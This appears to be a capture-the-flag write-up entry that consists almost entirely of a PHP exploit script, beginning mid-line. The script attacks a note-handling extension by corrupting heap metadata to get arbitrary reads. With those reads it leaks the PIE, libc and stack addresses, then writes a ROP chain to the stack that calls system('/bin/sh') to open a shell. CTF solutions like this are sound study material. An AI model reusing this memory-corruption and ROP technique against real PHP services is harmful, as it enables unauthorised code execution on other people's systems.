Rating:
> https://uz56764.tistory.com/110
```
> 32;
$addr = pack("V", $addr1).pack("V", $addr2);
delete_note(0);
add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
$buf = view_note(1);
$lic = (ord($buf[0]))+(ord($buf[1])*256)+(ord($buf[2])*256*256)+(ord($buf[3])*256*256*256)+(ord($buf[4])*256*256*256*256)+(ord($buf[5])*256*256*256*256*256)+(ord($buf[6])*256*256*256*256*256*256);
$pie_base = $lic - 0x16f200;
echo "pie_base : ";
echo $pie_base;
echo "
";
$base_to_libc = $pie_base + 0x544ff0;
echo "base_to_libc : ";
echo $base_to_libc;
echo "
";
$addr1 = $base_to_libc & 0xffffffff;
$addr2 = $base_to_libc >> 32;
$addr = pack("V", $addr1).pack("V", $addr2);
delete_note(0);
add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
$buf = view_note(1);
$lic = (ord($buf[0]))+(ord($buf[1])*256)+(ord($buf[2])*256*256)+(ord($buf[3])*256*256*256)+(ord($buf[4])*256*256*256*256)+(ord($buf[5])*256*256*256*256*256)+(ord($buf[6])*256*256*256*256*256*256);
$libc_base = $lic - 0x29dc0;
echo "libc_base : ";
echo $libc_base;
echo "
";
$environ = $libc_base + 0xb2f2d0 - 8192;
echo "environ : ";
echo $environ;
echo "
";
$addr1 = $environ & 0xffffffff;
$addr2 = $environ >> 32;
$addr = pack("V", $addr1).pack("V", $addr2);
delete_note(0);
add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
$buf = view_note(1);
$lic = (ord($buf[0]))+(ord($buf[1])*256)+(ord($buf[2])*256*256)+(ord($buf[3])*256*256*256)+(ord($buf[4])*256*256*256*256)+(ord($buf[5])*256*256*256*256*256)+(ord($buf[6])*256*256*256*256*256*256);
$stack = $lic;
echo "stack : ";
echo $stack;
echo "
";
$gadget = $libc_base + 0x000000000002a3e5;
echo "gadget : ";
echo $gadget;
echo "
";
$addr1 = $gadget & 0xffffffff;
$addr2 = $gadget >> 32;
$rop_1 = pack("V", $addr1).pack("V", $addr2);
$binsh = $libc_base + 0x1d8698;
echo "binsh : ";
echo $binsh;
echo "
";
$addr1 = $binsh & 0xffffffff;
$addr2 = $binsh >> 32;
$rop_2 = pack("V", $addr1).pack("V", $addr2);
$system = $libc_base + 0x50d60;
echo "system : ";
echo $system;
echo "
";
$addr1 = $system & 0xffffffff;
$addr2 = $system >> 32;
$rop_3 = pack("V", $addr1).pack("V", $addr2);
$gadget2 = $libc_base + 0x000000000002a3e5 +1;
echo "gadget2 : ";
echo $gadget;
echo "
";
$addr1 = $gadget2 & 0xffffffff;
$addr2 = $gadget2 >> 32;
$rop_4 = pack("V", $addr1).pack("V", $addr2);
$ret = $stack - 0x3a48 + 0x8 + 0x8 + 0x8;
echo "ret : ";
echo $ret;
echo "
";
$addr1 = $ret & 0xffffffff;
$addr2 = $ret >> 32;
$addr = pack("V", $addr1).pack("V", $addr2);
delete_note(0);
add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
edit_note(1, $rop_3[0].$rop_3[1].$rop_3[2].$rop_3[3].$rop_3[4].$rop_3[5].$rop_3[6].$rop_3[7]);
$ret = $stack - 0x3a48 + 0x8 + 0x8;
echo "ret : ";
echo $ret;
echo "
";
$addr1 = $ret & 0xffffffff;
$addr2 = $ret >> 32;
$addr = pack("V", $addr1).pack("V", $addr2);
delete_note(0);
add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
edit_note(1, $rop_4[0].$rop_4[1].$rop_4[2].$rop_4[3].$rop_4[4].$rop_4[5].$rop_4[6].$rop_4[7]);
$ret = $stack - 0x3a48 + 0x8;
echo "ret : ";
echo $ret;
echo "
";
$addr1 = $ret & 0xffffffff;
$addr2 = $ret >> 32;
$addr = pack("V", $addr1).pack("V", $addr2);
delete_note(0);
add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
edit_note(1, $rop_2[0].$rop_2[1].$rop_2[2].$rop_2[3].$rop_2[4].$rop_2[5].$rop_2[6].$rop_2[7]);
$ret = $stack - 0x3a48;
echo "ret : ";
echo $ret;
echo "
";
$addr1 = $ret & 0xffffffff;
$addr2 = $ret >> 32;
$addr = pack("V", $addr1).pack("V", $addr2);
delete_note(0);
add_note("x1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00"."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"."\xff\00\00\00\00\00\00\00".$addr);
edit_note(1, $rop_1[0].$rop_1[1].$rop_1[2].$rop_1[3].$rop_1[4].$rop_1[5].$rop_1[6].$rop_1[7]);
echo "END";
?>
```
